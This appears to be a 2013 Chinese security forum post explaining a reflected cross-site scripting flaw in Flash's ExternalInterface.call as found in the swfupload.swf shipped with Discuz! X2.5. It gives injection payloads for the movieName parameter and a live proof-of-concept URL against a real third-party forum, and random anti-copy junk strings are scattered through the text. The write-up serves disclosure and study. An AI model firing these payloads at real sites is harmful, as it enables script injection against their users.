找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2087|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说, }3 s# O3 A7 F) f
. ]: T4 c7 I4 P
flash.external.ExternalInterface.call($methodName, $parameter)
* ~, h  Z8 h: |; j8 i在浏览器中执行的是
. n. ^2 S$ z5 H3 ^% a
; H9 ?4 ?" K1 I  r1 ctry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 Z( j" P2 o: l( C6 m# ]$ A对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- h  Q8 _! d% j9 c- V9 H! M$ Y8 A5 u# \2 T% u: r
flash.external.ExternalInterface.call("object."+$methodName, $parameter)* j- ?! O" \  I' q
$methodName = a())}catch(e){alert(/xss/)}//
1 v  h+ P, L9 H% F结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
4 N) d$ F/ F0 O: l4 ?2 e
+ \5 B5 L4 U5 h. ?2 j. q9 O6 jtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }0 `$ G% g/ |6 F! {
: u0 S, W1 g; k
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )2 {; \) e/ a% H3 P
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
3 J* c) x$ ^) C8 C+ E& R8 }7 i$ D
4 i% r# E4 F9 E8 n( c) |4 {( y& Q) l: D8 u! Q3 \

3 A+ Q. ]: K% w2 a/ p8 Q/ U漏洞文件:upload\static\image\common\swfupload.swf5 V4 |  n) v8 l8 N- {' \/ k9 L

+ p9 \% J9 \' o' i原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
+ z( v# s& |' ~5 a2 K* c3 j: h- J' H6 a$ z- Q! ?7 }$ W
9 m: B" H- e6 M9 l1 D5 c. k* J4 [2 i# h
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ J- r7 z7 g, J. D) u8 [0 p4 G$ U: `  `. ~

& v' ]2 a0 z* K5 o2 T7 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表